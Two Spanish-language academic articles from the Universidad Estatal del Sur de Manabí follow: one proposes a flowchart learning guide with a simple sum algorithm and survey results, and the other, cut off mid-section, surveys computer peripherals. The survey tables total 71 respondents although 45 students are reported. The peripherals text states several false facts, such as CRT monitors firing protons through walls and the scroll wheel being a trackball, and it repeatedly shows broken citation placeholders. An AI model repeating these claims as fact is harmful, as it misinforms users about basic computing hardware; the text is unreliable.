Esta investigación consiste en una guía clave para fortalecer el aprendizaje considerando desde tiempos anteriores hasta la actualidad la educación es un elemento fundamental para el desarrollo de habilidades cognitivas y sociales de las personas por lo cual tenemos irregularidades en nivel de conocimiento del tema diagrama de flujos en lo que respecta a esta asignatura en los niveles iniciales de la carrera de Tecnologías de la Información, considerando que un diagrama de flujo es una importante asignatura para el desarrollo del pensamiento lógico en la comprensión y resolución de problemas a partir del conocimiento, por lo cual con lleva como objetivo de esta investigación es de enseñar a pensar, desarrollar las habilidades y destrezas del estudiante. Además, aborda una definición de lo que es el aprendizaje para ello se usa diferentes metodologías en la investigación basándose en los métodos teóricos: histórico-lógico; análisis-síntesis a su vez también los métodos empíricos como son: análisis; entrevista; bibliográfica. Por consiguiente, la guía pasa a ser una valiosa fuente de información que podrá ser utilizada por los estudiantes de Tecnologías de la Información, para profundizar sus conocimientos en elementos teóricos y prácticos permitiendo la fortalece de habilidades en los alumnos.

PALABRAS CLAVE: educación, habilidades, lógicas

ABSTRACT

This research is a key guide to strengthen learning from previous times to the present, education is a fundamental element for the development of people's cognitive and social skills, which is why we have irregularities in the level of knowledge of the flow diagram in Regarding this subject in the initial levels of the career of Information Technology, considering that a flow diagram is an important subject for the development of logical thinking in understanding and solving problems from knowledge, for which reason with the objective of this research is to teach to think, develop the skills and abilities of the student. In addition, it addresses a definition of what learning is for. Different methodologies are used in research based on theoretical methods: historical-logical; analysis-synthesis in turn also the empirical methods such as: analysis; interview; bibliographic Therefore, the guide becomes a valuable source of information that can be used by students of Information Technology, to deepen their knowledge in theoretical and practical elements allowing the strengthening of skills in students.

KEYWORDS: education, logic, skills

1. INTRODUCCIÓN

A nivel mundial, la educación es considerada como un elemento fundamental para el desarrollo de las capacidades cognitivas y sociales del ser humano, estas capacidades representan a su vez la expectativa del desarrollo de la sociedad en sus distintos ámbitos: en lo político, económico, social, educativo y cultural; siendo a partir de estas, mediante el cual el ser humano adquiere valores, conocimientos, formas de actuar y de ser, que le permiten desenvolverse eficazmente en la vida. Lograr un aprendizaje en el alumno requiere de docentes altamente capacitados que no sólo impartan clases, sino que también contribuyan a la creación de nuevas metodologías, materiales y técnicas, que haga más sencillo a los alumnos la adquisición de conocimientos y habilidades que les sean útiles y aplicables en su vida personal, académica y profesional.

Una de las asignaturas que más importante rol juegan en los niveles iniciales de la carrera en Tecnologías de la Información de la “Universidad Estatal del Sur de Manabí” (UNESUM), son los Diagramas de Flujos o Técnicas de Flujos, las cuales permiten el desarrollo del pensamiento lógico en la comprensión y resolución de problemas a partir de su conocimiento. Los diagramas de flujos son de importancia básica y fundamental para desarrollar la lógica en diferentes lenguajes de programación considerando que esta también es considera una asignatura principal

en las TI para el desarrollo de software, aplicaciones, páginas web entre otros lo cuales ayudan y aportan en la vida diaria de las personas en el presente y futuro.

Sin embargo, existe un bajo nivel de conocimiento en los estudiantes en lo que representa a esta asignatura, partiendo de esto esta problemática se debe a que gran mayoría de los estudiantes no tuvieron un bachillerato informático, muchos de ellos tuvieron un bachillerato en Ciencias u otras especialidades, por lo que se les resultaba complicado entender la asignatura o no disponen de una guía que aporte en la construcción de su conocimiento. En relación a lo anteriormente expuesto, a esto el propósito del presente trabajo es crear una “Guía clave para el Aprendizaje de Diagrama de Flujos” como eje en el proceso de aprendizaje. Esta guía contendrá información básica para reforzar y orientar al alumno universitario en la elaboración, diseño y construcción de los diagramas de flujo, que representen gráficamente los procesos y procedimientos.

Finalmente, como fin u objetivo primordial es enseñar a pensar y a desarrollar las habilidades y destrezas del alumno.

2. Desarrollo

Para el desarrollo de la investigación se tomó en cuenta la definición del aprendizaje, el cual se procede a explicar a continuación: (Feijoo, 2004)

Aprendizaje: Se llama aprendizaje, al cambio que se da, con cierta estabilidad, en una persona, con respecto a sus pautas de conducta. El que aprende algo, pasa de una situación a otra nueva, es decir, logra un cambio en su conducta como consecuencia del resultado de una práctica o experiencia (conocer es poder). (Graells, 2001)

Guía: Para comprender mejor qué es y en qué consiste una guía, se acude a la definición planteada por Aguilar (2014).

Es el material educativo que deja de ser auxiliar, para convertirse en herramienta valiosa de motivación y apoyo; pieza clave para el desarrollo del proceso de enseñanza, porque promueve el aprendizaje autónomo al aproximar el material de estudio al alumno.

Descripción de la elaboración de la guía: La Guía fue realizada en formato digital, que aportara en el proceso de construcción del conocimiento, posibilitando avanzar con mayor seguridad en el aprendizaje autónomo. Su contenido abarcara principalmente lo que es un algoritmo, diagramas de flujos, simbologías principales, la prueba de escritorio, con ejercicios explicativos, y cuenta con una sección de ejercicios de autoevaluación. Los ejercicios fueron elaborados en Microsoft Word. A continuación, una descripción breve del contenido:

Algoritmo: Es una serie ordenada de instrucciones, pasos o procesos que llevan a la solución de un determinado problema, este debe tener las siguientes partes:

- Entrada de datos,
- Proceso para ejecutar el algoritmo
- Salida de resultados

Ejemplo:

Algoritmo	que	Símbolo	Nombre	determine la suma de
Inicio	{ calcular la		Inicio/final	suma de los dos
números }			Línea de Flujo	
{ Ingresamos	los		Entrada/Salida	números }
Leer a			Proceso	
Leer b			Impresión	
{ Calculamos la suma			Decisión	en una variable suma }
Suma=a + b				
{ Mostramos el resultado }				
Escribir suma				
Fin				

Diagramas de flujo

Es una representación gráfica de un proceso. Cada paso del proceso se representa por un símbolo diferente que contiene una breve descripción de la etapa de proceso

Los principales símbolos convencionales que se emplean en los diagramas de flujo son los siguientes:

Figura1: símbolos básicos de los diagramas de flujo.

En este ejemplo se llevará el algoritmo anteriormente a un diagrama de flujo.

Figura2: Ejemplo del uso de los símbolos básicos del diagrama de flujo.

Finalmente se realiza la prueba de escritorio que es la comprobación lógica, de un algoritmo de resolución. Para desarrollar la prueba de escritorio, se utilizará el siguiente procedimiento:

- Con datos de prueba, se seguirán cada uno de los pasos propuestos en el algoritmo de resolución.
- Si genera resultados óptimos, el algoritmo posee una lógica adecuada, en caso contrario el algoritmo tendrá que ser corregido.

Ejemplo:

A	B	Suma	Mostrar Resultado
6	7	13	13
8	10	18	18

3. MATERIALES Y MÉTODOS

Materiales

- Laptop
- Papeles

- Internet
- Impresora

Métodos

Se emplearon los siguientes tipos de investigaciones: la investigación de campo ya que los datos fueron obtenidos directamente de la realidad en donde ocurren los hechos, la investigación documental permite recolectar información de fuentes bibliográficas

Los sujetos seleccionados para el desarrollo de la investigación fueron: 45 estudiantes del periodo nivelación Mayo-septiembre 2018.

Los instrumentos utilizados un cuestionario dirigido a los estudiantes conformado por 7 preguntas cuyo objetivo era validar el desarrollo de la investigación.

4. RESULTADOS Y DISCUSIÓN

Análisis del cuestionario aplicado a los 45 estudiantes del periodo nivelación Mayo-septiembre 2018, estuvo conformada por 7 preguntas cerradas. A continuación, se mostrarán solo 2 de las 7 preguntas realizadas: Este análisis tuvo como meta validar si la investigación era viable desde la perspectiva del estudiante.

- ¿Considera usted importante el aprendizaje de Diagrama de Flujos?

Tabla 1:

RESPUESTA	CANTIDAD	PORCENTAJE
SI	56	79%
NO	15	21%
TOTAL	71	100%

Gráfico 1:

Análisis: Según lo que demuestra el gráfico, el 79% de los estudiantes considera importante el aprendizaje de Diagramas de Flujos, mientras que el 21% no la consideran importante.

- ¿Presenta usted alguna dificultad al momento de realizar un diagrama de flujo?

Tabla 2:

RESPUESTA	CANTIDAD	PORCENTAJE
SI	51	72
NO	20	28
TOTAL	71	100

Gráfico 2:

Análisis: Según lo que demuestra el grafico, el 72% de los estudiantes presenta dificultad al momento elaborar un diagrama de flujo, mientras que el 28% posee las bases para realizar un diagrama de flujo.

5. CONCLUSIONES

- La presente Guía para el aprendizaje de Diagramas de Flujos pasa a ser una valiosa fuente de información, que podrá ser utilizada por los estudiantes de Tecnologías de la Información, para profundizar sus conocimientos en elementos teóricos y prácticos.
- Es de recalcar que en la actualidad el aprendizaje de Diagramas de Flujo es considerado como una de los principales instrumentos para introducirse al mundo de la programación, ya que permitirá el desarrollo de cualquier programa de manera más simple y fácil.
- Los resultados obtenidos desde la perspectiva de los docentes y los estudiantes evidenciaron que se requiere de una guía con ejercicios prácticos para aplicar los conocimientos teóricos por parte del estudiante.

6. RECOMENDACIONES

- Se recomienda la utilización de este proyecto como material de estudio tanto en las aulas de clase, como bibliotecas y domicilios de los estudiantes como fuente de información, de preparación y de evaluación.
- Para un mejor conocimiento en lo que respecta a Diagramas de Flujos, es muy recomendable que el estudiante refuerce sus conocimientos obtenidos a través de la guía con videos tutoriales en Internet y la práctica de ejercicios.
- Se recomienda seguir actualizando el contenido de la Guía vinculando a los estudiantes, a los docentes.

REFERENCIAS BIBLIOGRÁFICAS

Alemañu Martinez, C. (09 de 10 de 2014). Cuadernos de educación y desarrollo. Obtenido de Internet: qué enseñar, cómo enseñar: <http://www.eumed.net/rev/ced/01/cam2.htm>

Anónimo. (2015). Qué es un diagram de flujo. Obtenido de Aiteco: <https://www.aiteco.com/diagrama-de-flujo/>+

Feijoo, A. (2004). La guía didáctica, un material educativo para promover el aprendizaje autónomo: Evaluación y mejoramiento de su calidad en la modalidad abierta y a distancia de la UTPL (Vol. 7). Revista Iberoamericana de Educación a Distancia .

Frida, & Capuya, A. (03 de 24 de 2009). Algoritmo. Obtenido de Apuntes de Informática: <http://informaticafrida.blogspot.com/2009/03/algoritmo.html>

Graells, P. M. (08 de 9 de 2001). El aprendizaje: Requisitos y factores. Operaciones cognitivas. Roles de los estudiantes. Obtenido de <http://peremarques.net/actodidaprende3.htm>

BIOGRAFÍA DEL AUTOR

María de los Ángeles Baque Saltos estudiante de la carrera de Tecnologías de la Información.

Edwin José Fienco Pérez estudiante de la carrera de Tecnologías de la Información.

Gladis Arelis Soledispa Gonzales estudiante de la carrera de Tecnologías de la Información.

Vicente Gustavo Vera Chiquito estudiante de la carrera de Tecnologías de la Información.

. Franklin Jhimmy Toala Areas, Técnico En Análisis De Sistema, Tecnólogo En Sistemas Computacionales, Ingeniero En Sistemas Computacionales, Magíster En Educación Y

Desarrollo Social, Experto En Gestión Organizacional Y Liderazgo Transformador Para El Desarrollo Territorial Del Buen Vivir , Docente Habilitado De La Senescyt, Técnico De Computación Colegio Ciclo Básico Paulo Emilio Macias, Docente De Computación Colegio Particular Latinoamericano, Director De La Escuela Liceo Modelo, Docente Del Colegio Ciclo Básico Paulo Emilio Macias, Docente De La Carrera De Ingeniería De Sistemas De La Universidad Estatal Del Sur De Manabí Extensión Pajan, Gerente Del Almacén De Computadoras PC System Programs, Director De Proyectos De La Unidad Educativa Paulo Emilio Macias , Docente Tutor De Nivelación De La Universidad Técnica De Manabí, Docente De Matemáticas Y De Programación De La Universidad Estatal Del Sur De Manabí

PERIFÉRICOS MICROINFORMÁTICOS DE COMPUTADORAS PARA LA ENSEÑANZA-APRENDIZAJE A NIVEL SUPERIOR

Ing. Edwin Antonio Mero Lino. Mg.

Ing. María Mercedes Ortiz Hernández. Mg.

Ing. Kleber Germiniano Marcillo Parrales. Mg.

Ing. Franklin Antonio Merchán García. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

edwin.mero@unesum.edu.ec

RESUMEN

En el presente artículo, enfoca la problemática, sobre el deficiente nivel de conocimiento en el uso de los periféricos microinformáticos de computadoras, por parte de los estudiantes de la carrera de Tecnologías de la Información e Ingeniería en Sistemas Computacionales del periodo académico Noviembre 2018 - Marzo 2019, tiene como objetivo analizar cada uno de los dispositivos informáticos, tales como: de salida, entrada, almacenamiento, comunicación y los de entrada/salida, que permitan actualizar los conocimientos teórico-prácticos y lograr la flexibilidad necesaria en la utilización de estos elementos informáticos, permitiendo el cambio científico y tecnológico, el tipo de investigación es de carácter cualitativo, aplicando métodos teóricos tales como la inducción-deducción, análisis-síntesis; en el orden empírico, las encuestas y el cierre con la aplicación de métodos estadísticos-matemáticos. Los métodos descritos permitieron la realización del diagnóstico sobre las necesidades de los estudiantes. Implementar una guía técnica sobre el manejo de los dispositivos informáticos periféricos, tiene como resultado implementar una guía técnica sobre el funcionamiento de los dispositivos informáticos periféricos, que permita mejorar la enseñanza aprendizaje en los estudiantes de las carreras.

PALABRAS CLAVE: tecnología de la información, periféricos microinformáticos, modelo constructivista.

ABSTRACT

In the present article, it focuses on the problematic, on the deficient level of knowledge in the use of the computer microcomputer peripherals, by the students of the career of Information Technology and Computer Systems Engineering of the academic period November 2018 -

March 2019, aims to analyze each of the peripheral computing devices, such as: output, input, storage, communication and input / output, to update the theoretical-practical knowledge and achieve the necessary flexibility in the use of these computer elements, allowing scientific and technological change, the type of research is qualitative, applying theoretical methods such as induction-deduction, analysis-synthesis; in the empirical order, the surveys and the closure with the application of statistical-mathematical methods. The methods described allowed the diagnosis to be made on the needs of the students. implement a technical guide on the management of peripheral computing devices, has the result of implementing a technical guide on the management of peripheral computing devices, which allows improving teaching learning in the students of careers.

KEY WORDS: information technology, microcomputer peripherals, constructivist model.

1. INTRODUCCIÓN

Este proyecto tiene como finalidad motivar a los Educandos y Docentes de la Facultad de Filosofía de la carrera de Educación Primaria de estudios semipresencial, creando un centro tecnológico, que permitan actualizar sus conocimientos teórico-prácticos y lograr la flexibilidad necesaria en la utilización de los medios informáticos permitiendo el cambio científico, tecnológico y socio cultural de los pueblos en la educación del siglo XXI, estabilidad de conocimientos técnicos que requieran los estudiantes para su ejecución sin caer en la monotonía. Esta idea es profundizada en los principios pragmáticos de la tecnología educativa que debe ser dicha según Vigosky constructivista y participativa. La primera se define por los objetivos comunes ajustándolo a todos los materiales “multimedios”. La segunda se concreta para hacer factible y práctico el proceso tecnológico integral de resultados, conclusión de un estudio que permite plantearnos un proyecto que aplique procesos pedagógicos, centrado en el docente para que estimule sus potencialidades y las complementa con el uso de los medios Informáticos. Si los Docentes ocupan un lugar central como intermediario en el proceso de enseñanza-aprendizaje, garantiza el desarrollo pleno, multilateral y armónico de sí mismo y de sus educandos; entonces podemos decir que se ha alcanzado una visión. Los Estudiantes son el centro activo de una serie de factores que colaboran en mayor grado a su educación integral, por eso es necesario que nos formemos como Profesionales íntegros, capaces de enfrentar una época de cambio como la actual, en que la crisis afecta tantos aspectos de nuestra vida, pasando por los materiales y concretos a los más ideales y abstractos, uno de estos retos es la utilización del centro tecnológico como recurso para alcanzar la eficacia, la eficiencia y la flexibilidad necesaria para la mejora continua. **Fuente especificada no válida.**

La tecnología ha tenido un factor importante en la educación, por esto los recursos tecnológicos han ayudado a cambiar la educación, como videos didácticos, programas educativos, internet, el retroproyector, video presentador, proyectores, pizarra digital, etc. Las tecnologías de información y comunicación han revolucionado la manera de ver a la educación, ya que son técnicas y destrezas que el estudiante puede aplicar por medio de la tecnología, la cual no distingue el nivel de enseñanza de los educandos. Saber el funcionamiento del computador y de todos sus componentes internos como la tarjeta madre, microprocesador, memorias, disco duro, tarjetas gráficas, etc. Para luego hacer el respectivo ensamblaje del computador. La idea principal del libro es tener una simbiosis entre los recursos tecnológicos, educación y el computador, para mejorar la formación del estudiante y sus conocimientos adquiridos en el transcurso del aprendizaje. **Fuente especificada no válida.**

En el presente trabajo se puede diferenciar los tipos de periféricos tales como: de salida, entrada, almacenamiento, comunicación y los de entrada/salida. Existen varios ejemplos sobre los periféricos de entrada como es el escáner que convierte un documento en papel en una imagen digital. En el periférico de salida se encuentra el monitor, que es parte fundamental del ordenador, su principal función es ofrecer una visión de las operaciones que se están realizando en el ordenador. La pantalla táctil es un dispositivo de entrada y salida, ya que permite expulsar una imagen y al momento de hacer un pequeño tacto en la pantalla del dispositivo, envía una coordenada de ubicación indicando la acción que se realiza. En los periféricos de comunicación se encuentran, el router, que es un dispositivo de red, que se encarga de llevar por la ruta adecuada el transporte de información, Los routers funcionan utilizando direcciones IP para transportar los paquetes de datos, no como ocurre en los switches que sirve de puente para la interconexión de puntos de red, estas direcciones IP son únicas para cada máquina, este dispositivo puede identificar donde viaja el paquete. El disco duro permite almacenar información a gran escala, está sujeta a unos discos magnéticos por secciones las cuales permiten distribuir toda la información que se registra en la estación de trabajo.

En informática, los periféricos microinformáticos han sido de gran ayuda para la sociedad en diferentes ámbitos, cualquier sistema informático no tendría sentido sin los periféricos, estos elementos permiten establecer un diálogo con el usuario o con otros sistemas informáticos.

Es de gran importancia conocer la utilidad del uso de estos periféricos, ya que hoy en día, se lo utiliza en diversas tareas diarias, todo equipo informático precisa de una serie de periféricos

con los que realizan sus funciones, sin ayuda de estos dispositivos, por sí mismo, un ordenador no puede trabajar y ser eficiente.

Periférico microinformático

Se pueden clasificar a los periféricos en 5 tipos:

- ✓ Periféricos de entrada
- ✓ Periféricos de salida
- ✓ Periféricos de entrada/salida
- ✓ Periféricos de almacenamiento
- ✓ Periféricos de comunicación

Los periféricos de entrada

Son dispositivos que introducen datos para su procesamiento en el ordenador, por ejemplo: El mouse, teclado scanner y el micrófono.

El mouse: Es un señalador que el usuario puede mover con sus manos provocando el movimiento del cursor en la pantalla, contiene dos botones y una rueda.

Partes del mouse

El mouse dispone de 3 pulsadores, uno izquierdo otro derecho y una rueda central que la convierte en el tercer pulsador.

Botón Izquierdo: este tiene la función de selección y aceptación de las gráficas que aparecen en el monitor, siempre y cuando el cursor del mouse se encuentre posicionado obre el objeto que se esté apuntando.

Botón derecho: la función del botón derecho es con un propósito general de acceso rápido a las propiedades de cada objeto que se encuentre señalado, ejemplo. Si hay un archivo de Word pues a este le muestra cada propiedad que tiene, desde la apertura del mismo hasta el cambio de nombre.

Rueda de desplazamiento: esta rueda denominada también trackball permite la manipulación de desplazamiento de las páginas, se usa más en archivos con bastante información de desplazamiento, esto se lo verifica en archivos de Word como en los archivos de Internet.

Control de navegación: al momento de ingresar a la navegación de documentos en la Web hay un botón que me permite desplazar de forma más conveniente y accesiblemente veloz, está también permite interactuar con cada objeto de selección.

El teclado

Siendo un dispositivo de entrada el teclado es un dispositivo pulsador al igual que el mouse, con la diferencia que éste posee un sinnúmero de teclas compartidas en diferentes bloques como lo son, los bloques de función, numéricos, alfanuméricos, especiales y de dirección.

Las teclas de función poseen teclas que van desde el F1 hasta el F12 y su criterio de funcionamiento varía a cada programa que se encuentre en estado de ejecución.

Las teclas alfanuméricas son aquellas que poseen letras y números una barra de espacios y varias teclas de control independiente van desde la letra A hasta la Z y desde el 0 al 9.

Las teclas de dirección, poseen solamente 4 teclas, pero estas me permiten dirigir el cursor hacia todas las direcciones.

Las teclas numéricas, se utilizan más en el entorno de cálculos o de números estas se asemejan a una calculadora ya que dispone de los mismos parámetros de cálculos como son los números y signos de operaciones aritméticas.

Las teclas especiales, estas son indispensables para el usuario ya que permiten realizar actividades como son de suprimir, insertar, saltos de páginas y dirigirme al inicio y fin con mayor facilidad.

Tipos de teclados de computadora

Teclado multimedia: La única diferencia que tienen estos teclados es que tienen incorporado en ellos unas teclas de control multimedia como son de subir volumen, pausar, reproducir.

Teclado flexible: Como su nombre lo indica son flexibles y esto es eficaz para su transportación, este teclado se puede enrollar para su transporte, es como y factible para aquellos que no desean llevar vultuosas cargas a distancia, este teclado tiene las mismas funciones de uno normal con la diferencia que es flexible.

Teclado inalámbrico: Al igual que el mouse y otros dispositivos de conectividad el teclado inalámbrico se conecta mediante ondas de radio frecuencia haciendo factible la conectividad del mismo, la extensión de alcance varía mucho en la potencia de la conectividad.

Teclado ergonómico: Este es un teclado especial ya que está diseñado de una manera de fácil uso, el motivo o la diferencia de los demás, es que las teclas son muy sensibles al contacto reduciendo el esfuerzo de presión, este teclado se diseñó para los usuarios que están mucho tiempo en una estación de trabajo realizando estas actividades.

Teclado braille: Posee unas teclas especiales de fácil identificación para los usuarios no videntes, esto es más práctico ya que promueve la tecnología aquellos que creen no poder usar de esta por su ineficiencia motora.

Teclado virtual: Este teclado posee una función especial ya que se proyecta en cualquier superficie y mediante un programa que detecta el movimiento sobre él, permite ser específico la ubicación de cada recuadro de tecla que se proyecta.

Teclado touch: La única diferencia de este teclado es que puede ser programable y personalizar cada tecla a su conveniencia.

Teclado estándar: Es el teclado tradicional, el cual usamos siempre que estamos en una estación de trabajo, en un inicio los teclados tenían incorporado en un mismo bloque todas sus teclas, con el tiempo este fue estandarizándose y obteniendo el modelo de hoy en día.

Teclados multifuncionales: Los teclados multifuncionales revolucionan la manera de ver la escritura y control electrónico, estos disponen de varios accesorios de control hay unos que poseen hasta 130 teclas para su conveniente uso, tienen el idioma conmutado para el cambio del mismo, son más pequeños, pueden ser inalámbrico o alámbricos al mismo tiempo, estos teclados pueden estar conectados a varias estaciones de trabajo y con tan solo presionar un botón este controla la estación que desee.

Con estos teclados inteligentes se pueden dejar las adversidades y hasta comprar en línea y hasta negociar, estos teclados son pequeños y compactos para su mayor uso.

Teclado PC XT: Este teclado es de criterio personal es el teclado estándar y dispone de 83 teclas en el año de elaboración el cual fue en 1981, y este tiene una base de conexión PS/1.

Teclado PC AT: Es la mejora del teclado PC XT, la diferencia de este es que dispone de más teclas su antecesora disponía de 83 y está dispone de 84 con una estación de luces que permiten

verificar el estado de los 3 bloques de teclas principales, como son las de control de mayúscula la de bloqueo del teclado numérico y la de las teclas especiales.

Teclado extendido: La diferencia de este con su antecesora es que dispone de más teclas con un total de 101, y la conexión a su base que ya no es la misma ósea la PC/1 sino la PC/2 que es el estándar de teclado, en la actualidad es como el que se usa cotidianamente.

Teclado extendido para Microsoft Windows: Este teclado dispone de un total de 104 teclas, pero con la singularidad que tiene accesos a los botones de inicio de Windows, elementalmente se puede deducir que este teclado fue diseñado para trabajar con esta plataforma en especial.

Teclado numérico: Está estrictamente regido a los números, se lo utiliza en lugares de cálculos grandes y trabajos con cuentas, habitualmente lo puedes ver en las bancas electrónicas. **Fuente especificada no válida.**

Micrófono

Dispositivo de entrada esté distribuido en los siguientes: dinámico, condensador.

Condensador: Esta se lo usa más en los estudios de fotograma, ya que su amplitud y nitidez lo hace mejor para este escenario, estos micrófonos tienen incrustados dentro de él dos tipos.

El condensador de diagrama chico y grande ambos son caracterizados por cumplir un rol único el cual es capturar la amplitud y localización de las señales más amplias.

Características Generales:

- ✓ Agudeza en el sonido claro y fino
- ✓ Sonoramente son precisos
- ✓ Calidad única en sonido

El escáner

Dispositivo de entrada permite la digitalización de imágenes y documentos detallados con una precisión exacta, la digitalización se la realiza en las de cama plana como en otros modelos su digitalización depende mucho de su banda de acoplamiento la cual permite que los procesos sean más rápidos, en la actualidad la digitalización se ha vuelto muy popular es por eso que las impresoras ya vienen siendo de multifuncionalidad porque en ellas también se incorporan los escáneres. Los escáneres suelen ser ruidosos y esto es un inconveniente para los usuarios al momento de crear la conexión del mismo este se debe conectar directamente o de una forma extraordinaria deberá comprar la conexión por separado **Fuente especificada no válida..**

Los periféricos de salida

Los dispositivos o periféricos de salida son los encargados de enviar información mediante sus dispositivos y estos son los siguientes:

Los monitores: Tienen como prioridad de mostrar una imagen detallada de las acciones gráficas que suceden en el ordenador, dando la potestad de control de las acciones. Los monitores de CRT o denominados también monocromáticos son unos monitores pesados y grandes, estas utilizan un cañón de protones que apunta a cada fosforo que se encuentra en la pantalla, este rallo catódico es tan fuerte que puede atravesar una pared.

Los monitores LCD llegaron a revolucionar la industria de visualización, la diferencia con sus predecesoras es principalmente su peso, ya que son más livianos que los otros, ya no usan un rayo catódico para la combinación de colores, estas usan un dispositivo monocromáticos o de color, en si los LCD reemplazaron a los CRT en la actualidad, esta tecnología se lo aplico en os televisores convencionales permitiendo expandirse en todos lados, hay unos monitores que usan un gas plástico para su desarrollo, esto lo podremos ver en las Laptop de la actualidad.

Fuente especificada no válida.

Impresora

Dispositivo de salida permite la expulsión de información mediante una hoja de papel.

Tipos de impresora

Impresora de matriz de puntos: Esta impresora se la usa en la actualidad, la diferencia a las demás es que esta presiona la tinta sobre el papel, usa un rodillo el cual permite que la hoja de papel avance, son muy ruidosas ya que el papel es continuamente presionado y la banda va desde izquierda a derecha.

Impresora láser: Son de las impresoras más ágiles en el mercado, estas usan un tóner para su impresión calentando mediante el láser el polvo, son de las impresoras más rápidas pero costosas a su vez.

Impresora de inyección de tinta: Esta impresora usa una inyección de tinta, la misma que puede ser continua como no, sus impresiones son de alta calidad la diferencia de estas con la de matriz y la láser es que esta usa una combinación de colores en su impresión, en la actualidad se usa un sistema de tinta continua para que su fluido sea más eficaz.

Impresora plotter: Estas impresiones también denominadas a gran escala usan el mismo principio que las demás la diferencia que la impresión es a mayor amplitud puede ser usadas para poner fotogramas en las carreteras, carteles de anuncios entre otras más.

Impresora de rueda de margarita: Estas impresoras usan un tambor rotatorio que a su vez se generan mediante un patrón su impresión no es tan buena y clara y solo se puede imprimir a escala de grises, las imágenes de resolución son muy pocas favorables para su visibilidad

Fuente especificada no válida.

Pantalla táctil

Ya mencionado anteriormente el monitor siendo dispositivo de salida en la actualidad pasa a ser en ambos sentidos, desde la línea de código de entrada, para su ubicación de proceso esta usa una serie de diodos sensibles al movimiento.

Tiene una gran similitud a un mouse en sus procesos ya se utiliza como dispositivo apuntados, la única diferencia que este no muestra un curso de movimiento, sino que directamente va a las coordenadas de señalación y ejecuta el proceso en el que se apuntó.

Multitáctil

Como ya fue mencionado los dispositivos multitáctil permiten el acoplamiento de más de 2 pulsos o presiones de dedo, esto se revoluciona en la industria de la telefonía iPhone ya que su dispositivo inteligente permite recibir acciones de los usuarios de manera más versátil **Fuente especificada no válida.**

Periféricos de Comunicación

Estos dispositivos permiten el intercambio de información entre computadoras como quien dice son los encargados de la comunicación entre ellos.

Tarjeta de red: La mayoría de las computadoras usan una tarjeta de red incorporado a la tarjeta madre y esta se encarga precisamente de la comunicación en red con otras máquinas puede ser para conectarse directamente con un computador de cualquier parte del mundo gracias al Internet o como también como un sistema de conexión local denominado LAN, esta tarjeta permite recibir y enviar datos encriptados sobre capas de información, cada capa de envío tiene un código único que es descifrado solo por el destinatario final.

Tipos de tarjetas de red

Tarjetas inalámbricas: Las tarjetas inalámbricas son las que permiten conectar un servidor vía microonda dependiendo del alcance de la misma, ellas pueden estar conectadas entre 2 o más computadoras simultáneamente, un ejemplo claro son los Routers que permiten la conectividad a una red o a internet de varios equipos.

Ethernet: La mayoría de las tarjetas usan en su programación un zócalo de codificación PROM, esto quiere decir que las tarjetas al momento de instalarlas no necesitan de drivers para su reconocimiento, estas son detectadas al instante porque al momento de la instalación el PROM entra en ejecución.

Tarjetas de fibra óptica: Las tarjetas de fibra óptica usan un diodo emisor y receptor de luz en su punta de lanzamiento, esta puede ser multimodo como monomodo es de decir que puede trabajar de una guía o dos simultáneamente dependiendo a como se haya sido programada para la transmisión de la información. **Fuente especificada no válida.**

El Router

Este dispositivo es específicamente usado en las redes de conexión permite llevar el tráfico de Internet de una manera ordenada y precisa, gracias a su desarrollo en esta se pueden incorporar varios dispositivos el mismo tiempo, se puede usar de una manera inalámbrica como alámbrica la cual envía y recibe paquetes de datos.

Router por cable: Los Routers alámbricos o que usan cable para su funcionamiento se emplean para grandes instalaciones ya que poseen varias líneas de conexión para su enlace y distribución de datos.

Router inalámbrico: Son usados comúnmente en hogares, plazas etc. Dependiendo mucho del alcance de frecuencia en su extensión, este dispositivo permite conectarme con una calidad óptima.

Tipos de Router inalámbricos: Esta son de mayor amplitud usan una funcionalidad igual que los de pequeñas escalas, pero con una tecnología superior en amplitud, para su mayor alcance esta se ubica en un punto alto para que así la señal pueda llegar a la extensión adecuada. **Fuente especificada no válida.**

Tarjeta Bluetooth: Usa las señales de radio frecuencia para la transferencia de información, la diferencia con los conectores infrarrojos son que estos no tienen que estar directamente apuntado al emisor para que este esté transfiriendo los datos. **Fuente especificada no válida.**

Periféricos de Almacenamiento

Se encargan de guardar los datos de los que hace uso la CPU, para que ésta pueda hacer uso de ellos una vez que han sido eliminados de la memoria principal, ya que ésta se borra cada vez que se apaga la computadora. Pueden ser internos, como un disco duro, o extraíbles, como un CD. Los más comunes son: Disco duro, unidad de CD, unidad de DVD, unidad de Blu-ray Disc, Memoria flash, memoria USB

Disco duro: El disco duro es un dispositivo de almacenamiento a gran escala, posee diversas capas en su recubrimiento al vacío, usa un dispositivo apuntador que especifica la ruta de almacenaje de sus archivos, estos dispositivos pueden ser inteligentes como no, a los inteligentes se les denominan discos inteligentes los cuales pueden detectar el daño y recrear su información en otro disco inteligente, es muy eficaz por la información no se pierde tan fácil a diferencia de los originales, que no verifican su daño y la información prácticamente se pierde. **Fuente especificada no válida.**

Unidad de CD: En informática, el término unidad de disco se refiere a aquel dispositivo o aparato que realiza las operaciones de lectura y escritura de los medios o soportes de almacenamiento con forma de disco, refiriéndose a las unidades de disco duro, unidades de discos flexibles (disquetes: 5¼", 3½"), unidades de discos ópticos (CD, DVD, HD DVD o Blu-ray) o unidades de discos magnetoópticos.

Unidad de DVD: El DVD es un disco óptico de almacenamiento de datos cuyo estándar surgió en 1995. Sus siglas corresponden con Digital Versatile Disc en inglés (disco versátil digital traducido al español).

Unidad de Blu-ray Disc: Blu-ray disc también conocido como Blu-ray o BD, es un formato de disco óptico de nueva generación de 12 cm de diámetro (igual que el CD y el DVD) para vídeo de gran definición y almacenamiento de datos de alta densidad de 5 veces mejor que el DVD. Su capacidad de almacenamiento llega a 25 GB por capa, aunque Sony y Panasonic han desarrollado un nuevo índice de evaluación (i-MLSE) que permitiría ampliar un 33% la cantidad de datos almacenados, desde 25 a 33,4 GB por capa.

Memoria flash: La memoria flash es una tecnología de almacenamiento derivada de la memoria EEPROM que permite la lecto-escritura de múltiples posiciones de memoria en la misma operación. Gracias a ello, la tecnología flash, siempre mediante impulsos eléctricos, permite velocidades de funcionamiento muy superiores frente a la tecnología EEPROM primigenia, que sólo permitía actuar sobre una única celda de memoria en cada operación de programación. Se trata de la tecnología empleada en los dispositivos pendrive.

